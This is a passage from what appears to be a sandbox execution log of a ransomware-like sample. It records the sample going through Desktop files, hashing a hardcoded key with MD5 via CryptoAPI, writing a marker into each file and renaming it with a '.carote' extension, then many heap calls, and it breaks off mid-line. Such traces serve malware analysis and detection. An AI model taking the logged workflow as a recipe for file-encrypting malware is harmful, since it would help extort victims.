Zsu.gif", cAlternateFileName="UTYB2G~1.GIF")) returned 1 [0112.055] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UTYb2gnV5j Zsu.gif") returned=".gif" [0112.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UTYb2gnV5j Zsu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\utyb2gnv5j zsu.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.055] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=66964) returned 1 [0112.055] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.056] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1056e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.056] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.057] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x10594, lpOverlapped=0x0) returned 1 [0112.057] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.057] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.057] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.057] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.058] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.058] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.058] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.058] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.058] GetLastError () returned 0x0 [0112.058] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.058] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.059] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.059] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.059] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.059] CloseHandle (hObject=0x61c) returned 1 [0112.060] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UTYb2gnV5j Zsu.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\utyb2gnv5j zsu.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UTYb2gnV5j Zsu.gif.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\utyb2gnv5j zsu.gif.carote")) returned 1 [0112.061] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b9f420, ftCreationTime.dwHighDateTime=0x1d4c759, ftLastAccessTime.dwLowDateTime=0x364cfa0, ftLastAccessTime.dwHighDateTime=0x1d4caa5, ftLastWriteTime.dwLowDateTime=0x364cfa0, ftLastWriteTime.dwHighDateTime=0x1d4caa5, nFileSizeHigh=0x0, nFileSizeLow=0xa170, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wdgP96 SXmW.mp4", cAlternateFileName="WDGP96~1.MP4")) returned 1 [0112.061] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wdgP96 SXmW.mp4") returned=".mp4" [0112.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wdgP96 SXmW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wdgp96 sxmw.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.061] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=41328) returned 1 [0112.061] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.062] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa14a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.062] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.063] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xa170, lpOverlapped=0x0) returned 1 [0112.063] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.063] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.063] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.063] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.064] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.064] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.064] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.064] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.064] GetLastError () returned 0x0 [0112.064] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.064] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.065] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa170, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.065] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.065] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.065] CloseHandle (hObject=0x61c) returned 1 [0112.066] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wdgP96 SXmW.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wdgp96 sxmw.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wdgP96 SXmW.mp4.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wdgp96 sxmw.mp4.carote")) returned 1 [0112.067] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x795939c0, ftCreationTime.dwHighDateTime=0x1d4d2f8, ftLastAccessTime.dwLowDateTime=0x8237f5a0, ftLastAccessTime.dwHighDateTime=0x1d4d202, ftLastWriteTime.dwLowDateTime=0x8237f5a0, ftLastWriteTime.dwHighDateTime=0x1d4d202, nFileSizeHigh=0x0, nFileSizeLow=0xeb0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="woEaiFw4PYk9uPU.xlsx", cAlternateFileName="WOEAIF~1.XLS")) returned 1 [0112.067] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\woEaiFw4PYk9uPU.xlsx") returned=".xlsx" [0112.067] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\woEaiFw4PYk9uPU.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\woeaifw4pyk9upu.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.067] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=60172) returned 1 [0112.067] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.068] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xeae6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.068] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.069] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xeb0c, lpOverlapped=0x0) returned 1 [0112.070] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.070] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.070] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.070] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.071] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.071] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.071] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.071] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.071] GetLastError () returned 0x0 [0112.071] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.071] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.072] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xeb0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.072] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.072] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.072] CloseHandle (hObject=0x61c) returned 1 [0112.073] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\woEaiFw4PYk9uPU.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\woeaifw4pyk9upu.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\woEaiFw4PYk9uPU.xlsx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\woeaifw4pyk9upu.xlsx.carote")) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4db0320, ftCreationTime.dwHighDateTime=0x1d4d52b, ftLastAccessTime.dwLowDateTime=0xe5c6f5d0, ftLastAccessTime.dwHighDateTime=0x1d4d199, ftLastWriteTime.dwLowDateTime=0xe5c6f5d0, ftLastWriteTime.dwHighDateTime=0x1d4d199, nFileSizeHigh=0x0, nFileSizeLow=0x18dfd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_0VDVX.pdf", cAlternateFileName="")) returned 1 [0112.074] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_0VDVX.pdf") returned=".pdf" [0112.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_0VDVX.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_0vdvx.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.075] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=101885) returned 1 [0112.075] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.076] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18dd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.076] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.077] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x18dfd, lpOverlapped=0x0) returned 1 [0112.078] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.078] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.078] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.078] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.079] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.079] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.079] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.079] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.079] GetLastError () returned 0x0 [0112.079] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.079] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.080] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18dfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.080] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.080] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.080] CloseHandle (hObject=0x61c) returned 1 [0112.081] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_0VDVX.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_0vdvx.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_0VDVX.pdf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_0vdvx.pdf.carote")) returned 1 [0112.082] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4db0320, ftCreationTime.dwHighDateTime=0x1d4d52b, ftLastAccessTime.dwLowDateTime=0xe5c6f5d0, ftLastAccessTime.dwHighDateTime=0x1d4d199, ftLastWriteTime.dwLowDateTime=0xe5c6f5d0, ftLastWriteTime.dwHighDateTime=0x1d4d199, nFileSizeHigh=0x0, nFileSizeLow=0x18dfd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_0VDVX.pdf", cAlternateFileName="")) returned 0 [0112.082] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.082] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d708 | out: hHeap=0x5010000) returned 1 [0112.082] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.083] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.083] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.083] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.084] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.084] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.085] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.085] RtlAllocateHeap (HeapHandle=0x5010000, 